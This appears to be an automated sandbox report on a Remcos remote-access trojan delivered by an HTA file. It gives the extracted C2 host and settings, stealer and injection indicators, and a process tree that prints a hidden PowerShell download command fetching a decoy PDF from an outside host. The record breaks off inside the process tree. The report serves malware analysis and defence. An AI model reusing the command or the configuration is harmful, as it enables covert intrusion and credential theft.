remcos | ad362498e8b482fc0456d78468114628cfbade5a36d186af5bbb6ba35431c50c

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2025 23:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c2.hta
Size

3KB
MD5

7073f58529ffe4c0fd8e3f52d2ad9f34
SHA1

0dfad96f16f35302ce6a60601e549054147261ca
SHA256

ad362498e8b482fc0456d78468114628cfbade5a36d186af5bbb6ba35431c50c
SHA512

5fa65856eef202f2eae1509558bd3cd290e918645c991481041c48f5644bc897ea734aec3f01b533dc649087f8874e48fec2cfce1efa4aa83b0e5e7947541c8a

Score

10^/10

remcos 2024 collection discovery execution rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

2024

me-work.com:7009

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LOARC0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3288 created 3536	3288	Prostores.com	56
PID 3288 created 3536	3288	Prostores.com	56

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4152-960-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3836-956-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1924-955-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3836-956-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1924-955-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 9 IoCs

flow	pid	Process
6	2016	mshta.exe
13	2016	mshta.exe
17	2016	mshta.exe
18	2016	mshta.exe
20	2016	mshta.exe
23	2016	mshta.exe
25	2016	mshta.exe
30	3448	powershell.exe
31	4052	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3448	powershell.exe
4052	powershell.exe
3448	powershell.exe
4052	powershell.exe
2836	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	msword.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url	cmd.exe

Executes dropped EXE 6 IoCs

pid	Process
1616	msword.exe
3288	Prostores.com
1704	Prostores.com
1924	Prostores.com
3836	Prostores.com
4152	Prostores.com

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Prostores.com

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
1168	tasklist.exe
1652	tasklist.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3288 set thread context of 1924	3288	Prostores.com	137
PID 3288 set thread context of 3836	3288	Prostores.com	138
PID 3288 set thread context of 4152	3288	Prostores.com	139

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\GazetteUna	msword.exe
File opened for modification	C:\Windows\PerfumeDiscussions	msword.exe
File opened for modification	C:\Windows\HospitalityCelebrities	msword.exe
File opened for modification	C:\Windows\DrawnScanner	msword.exe
File opened for modification	C:\Windows\PdasSalaries	msword.exe
File opened for modification	C:\Windows\DischargeFlowers	msword.exe
File opened for modification	C:\Windows\StartupDecision	msword.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prostores.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msword.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prostores.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prostores.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prostores.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3660	timeout.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	cmd.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\C81A8BD1F9CF6D84C525F378CA1D3F8C30770E34	mshta.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\C81A8BD1F9CF6D84C525F378CA1D3F8C30770E34\Blob = 030000000100000014000000c81a8bd1f9cf6d84c525f378ca1d3f8c30770e34140000000100000014000000c8d97868a2d91968d53d72de5f0a3edcb58686a604000000010000001000000058aa23107c8d5aedeabd0d5e325785920f0000000100000030000000c3b50ae46b6997dd20d643339b1141cd1e85d7a966edda72de71b1b27513a7e0efb1103a0538a8da7bdbd43889b33ebd19000000010000001000000099456d27b589e0bd3dcacb8996e62c095c000000010000000400000000100000180000000100000010000000ea6089055218053dd01e37e1d806eedf4b0000000100000044000000300037004300450046003200460036003500340045003300450044003600300035003000460046004300390042003600450042003800340034003200350030005f0000002000000001000000d9060000308206d5308204bda00302010202106c55abdbd00792c79d070cd8119ed6bf300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3230303133303030303030305a170d3330303132393233353935395a304b310b30090603550406130241543110300e060355040a13075a65726f53534c312a3028060355040313215a65726f53534c2052534120446f6d61696e20536563757265205369746520434130820222300d06092a864886f70d01010105000382020f003082020a02820201008669737ea3b531d823e16ddda413d35415f502ebdc0321b57e5d1d527c3f31eb9e096cd159385e677e4b568f7590b2370c355a64a5be4c102c2418c46d898cc1c5924d6602839df7e12174f9cb4302c171b17fab4c387d912ac6ff89a9e8e4a1b9b2da108509899a38b7cef74ee49dd168f90d6b770eda401bc4f7e65feffb1acdf2e6fc3d24a85f9564830fa359fe0a42d36f5052c3abc9855a15273cbea31c00035e9bece254cd6303adc7dc90b5ba71c12b7b409635f880ab991241e81b8a46dfe37c3245f49b1c4505651c8c5074a00997ba1a5675e00e4aad936a9d75dde40835ddef882ff35dc6f75cfb0a3b06c89f77a09225352dd48056c3e95e7824c819deb4a6a2d61bcfdf286715fb30a6ed0a6d5a27fabe853bf660ad72331ae77dc89e2a639805b1438675b93ba44c03bd377412bdda3e9744dd84b6d2e442eba3660cbe8d744ab5a58c22590d9162663a21e612b427807bed88d90872326e9aad5d7455f889a4c8e346bace0bc806dc45783b3645f71a1fbddeafb72d35452a8104f9ac580984c985c7beab420079399524a1d6f99367b1ecff86bb827ce9b4b5e74f7852e61c574f6155e927993879131f4204a8a92d2d96db02816a47fe69562734253a4b49c04aab76c6b669182d6feefe8386e7a9cb226d9f7a925763e80625394aa97e680469c1489b40c1a6e38823c8d0ea0e5569f9284b425507f71f0203010001a382017530820171301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e04160414c8d97868a2d91968d53d72de5f0a3edcb58686a6300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b0601050507030230220603551d20041b3019300d060b2b06010401b2310102024e3008060667810c01020130500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c05000382020100150f0a08cd00d57ab713d1e62a66304d27c54d5b05459503ad64446a9f98969c455a2d965dcf195bbf3d85c7413150db9412062421533862870a90243b84ee67a22728abf0eb1181f922e35cb96d48f09259f432ee0757d8bc81e5676246e3a88d6d5280df2800133f3a46f0d096dd82e3de2aa8f548b518ebcfd625244193d03aedb72029ab460b143cdff99d6990c861edcfbb7d7789aa62217c9a5db8a73c1c442461041285e9f8dba4b71f426b2006ca7010a2c9816e3a17f2beec150850df16fae30038dde235f5b905ddd7ad48c8545b9bcf6cd8e8f9a14d700d8cf9b31fa1a02ba1ea54acfbfb8fb96a2622adf2d460c535a7d6f8bb07054d7a950a39436ca1db995a42c2918323e63291c9f7c79d9bacb6b0751a6c04a6447c6f1a2bb0c04db9683534d9201e7a9c88989d82cc1f34606ed6c65ca71ea361a44ef17c2ecfcd094b8267c41dd53eb4715e41acd1427ac5916d9692a44622aedc2919f2ca9be33cc9237a257d95174033d7d226fb01decbd4baed5ca081b5c71235c9e82818ce2be503f8446215bd86a223be82d1d8e849b43f76421451742e07c00be63c87df883705969a5f2be99a75788a5a693175409c060638de755a127a5b4c4d74d270cd80126581feb6609623e37ad06bf634d3061f0319edef5b5e0cd40991f915a0450c64794bd556a8707bdd0f8ec8856f21b298712736c3f692b8528648	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C	mshta.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c1400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf9190000000100000010000000ea6089055218053dd01e37e1d806eedf5c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa24b0000000100000044000000420032004600410046003700360039003200460044003900460046004200440036003400450044004500330031003700450034003200330033003400420041005f0000002000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 63 IoCs

pid	Process
3448	powershell.exe
3448	powershell.exe
4052	powershell.exe
4052	powershell.exe
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
1924	Prostores.com
1924	Prostores.com
4152	Prostores.com
4152	Prostores.com
1924	Prostores.com
1924	Prostores.com

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	1168	tasklist.exe
Token: SeDebugPrivilege	1652	tasklist.exe
Token: SeDebugPrivilege	4152	Prostores.com

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4428	AcroRd32.exe
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3288	Prostores.com
3288	Prostores.com
3288	Prostores.com

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
4428	AcroRd32.exe
3288	Prostores.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 3736	2016	mshta.exe	83
PID 2016 wrote to memory of 3736	2016	mshta.exe	83
PID 2016 wrote to memory of 3736	2016	mshta.exe	83
PID 3736 wrote to memory of 3448	3736	cmd.exe	85
PID 3736 wrote to memory of 3448	3736	cmd.exe	85
PID 3736 wrote to memory of 3448	3736	cmd.exe	85
PID 3736 wrote to memory of 4428	3736	cmd.exe	87
PID 3736 wrote to memory of 4428	3736	cmd.exe	87
PID 3736 wrote to memory of 4428	3736	cmd.exe	87
PID 3736 wrote to memory of 4052	3736	cmd.exe	90
PID 3736 wrote to memory of 4052	3736	cmd.exe	90
PID 3736 wrote to memory of 4052	3736	cmd.exe	90
PID 4428 wrote to memory of 4864	4428	AcroRd32.exe	94
PID 4428 wrote to memory of 4864	4428	AcroRd32.exe	94
PID 4428 wrote to memory of 4864	4428	AcroRd32.exe	94
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4368	4864	RdrCEF.exe	98
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99
PID 4864 wrote to memory of 4180	4864	RdrCEF.exe	99

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3536
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\c2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\temp.bat"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\Admin\Downloads\W2.pdf"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3448
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\W2.pdf"
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4864
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=82E953F5B274B22B76C619BAA7B4B215 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4368
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
